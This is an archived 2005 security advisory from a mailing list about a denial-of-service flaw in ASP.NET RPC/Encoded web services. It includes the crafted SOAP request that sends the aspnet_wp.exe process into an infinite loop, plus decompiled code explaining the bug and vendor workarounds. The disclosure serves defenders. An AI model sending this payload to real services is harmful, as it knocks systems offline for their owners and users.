[NT] ASP.NET RCP/Encoded Web Service DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/05

  • Next message: SecuriTeam: "[EXPL] Mozilla Firefox URLs Script Injection (Exploit)"
    To: list@securiteam.com
    Date: 21 Jul 2005 13:55:41 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      ASP.NET RCP/Encoded Web Service DoS
    ------------------------------------------------------------------------

    SUMMARY

    By sending a custom SOAP message to an RCP/Encoded web method attackers
    can cause a denial of service in Microsoft's ASP.NET enviroment.

    DETAILS

    By sending a custom SOAP message to an RCP/Encoded web method that accepts
    an array (or any object derived from Ilist, like StringCollection or
    ArrayList), attackers can cause the aspnet_wp.exe process to consume 100%
    of the system resources.

    If the system is a bit faster, you may add more then one request in order
    to cause the DoS condition.

    To replicate the issue, attackers can send a request to the Test(int[]
    someList) web method defined inside the AspCrashWebService project (refer
    to AspCrashWebService.zip distributed with this document). A normal SOAP
    message to call this method with a single element of 0 would look like:

    <?xml version="1.0" encoding="utf-16"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:tns="http://tempuri.org/"
    xmlns:types="http://tempuri.org/encodedTypes"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema">
       <soap:Body
    soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
          <tns:Test>
             <someList href="#id1" />
          </tns:Test>
          <soapenc:Array id="id1" soapenc:arrayType="xsd:int[1]">
             <Item>0</Item>
          </soapenc:Array>
       </soap:Body>
    </soap:Envelope>

    If attackers changes the <soapenc:Array> definition with the complex type
    defined in demo ASPCrashWebService.Service1 WSDL definition (ArrayOfInt),
    attackers will cause the problem in aspnet_wp.exe.

    The new request would look like:
    <?xml version="1.0" encoding="utf-16"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:tns="http://tempuri.org/"
    xmlns:types="http://tempuri.org/encodedTypes"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema">
       <soap:Body
    soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
          <tns:Test>
             <someList href="#id1" />
          </tns:Test>
          <tns:ArrayOfInt>
             <Item>0</Item>
          </tns:ArrayOfint>
       </soap:Body>
    </soap:Envelope>

    The error is caused due to an infinite loop inside
    System.Xml.Serialization.Xml.XmlSerializationReader.ReadReferencedElements
    (). The method can be translated to the following code:
    protected void ReadReferencedElements()
    {
          string V_0;
          r.MoveToContent();
          while (r.NodeType != XmlNodeType.EndElement && r.NodeType !=
    XmlNodeType.None)
          {
          ReadReferencingElement(null, null, true, out V_0);
          r.MoveToContent();
          }
          DoFixups();
          HandleUnreferencedObjects();
    }

    The problem is that after the call to ReadRefencingElement() the
    r.NodeType is set to XmlNodeType.Element and the while loop never
    terminates.

    Vendor Status:
    RCP/Encoded web services are not recommended by Microsoft. Developers
    should utilize document/literal instead, which is not affected by this
    issue. The Microsoft Security Response Center has stated that this issue
    will be addressed in the upcoming "Whidbey" release of Web Services. In
    the interim, the aspnet_wp.exe service can be restarted and operation will
    resume without problems.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:spilabs@spidynamics.com> SPI
    Labs.
    The original article can be found at:
    <http://www.spidynamics.com/spilabs/advisories/aspRCP.html>
    http://www.spidynamics.com/spilabs/advisories/aspRCP.html

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Mozilla Firefox URLs Script Injection (Exploit)"

    Relevant Pages

    • [NEWS] Adobe Version Cue VCNative Multiple Vulnerabilities (Privileges Escalation, Symlink Attack)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... attackers to gain root privileges and perform a symlink attack using Adobe ... with user-supplied data. ...
      (Securiteam)
    • [NEWS] Gecko Based Browsers Multiple Vulnerabilities (Code Execution, Cross Site Scripting, Window S
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... that allow web sites to cause arbitrary code execution on users' system ... conduct spoofing and cross site scripting attacks. ... exploited by attackers to execute arbitrary code. ...
      (Securiteam)
    • [NT] Yahoo! Messenger Server Race Condition Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Yahoo! ... Messenger 6.0 ... Once the link is tweaked all the attackers need to do is plug it into ...
      (Securiteam)
    • [NT] WinPcap NPF.SYS bpf_filter_init Arbitrary Array Indexing Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WinPcap NPF.SYS bpf_filter_init Arbitrary Array Indexing Vulnerability ... making IOCTL requests with specially chosen values, attackers are able to ... The vulnerable device driver is loaded when WinPcap is initialized. ...
      (Securiteam)
    • [NT] Symantec Ghost Multiple DoS Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Symantec Ghost Multiple DoS Vulnerabilities ... Symantec Corp.'s Ghost allow remote attackers to crash the Ghost service. ...
      (Securiteam)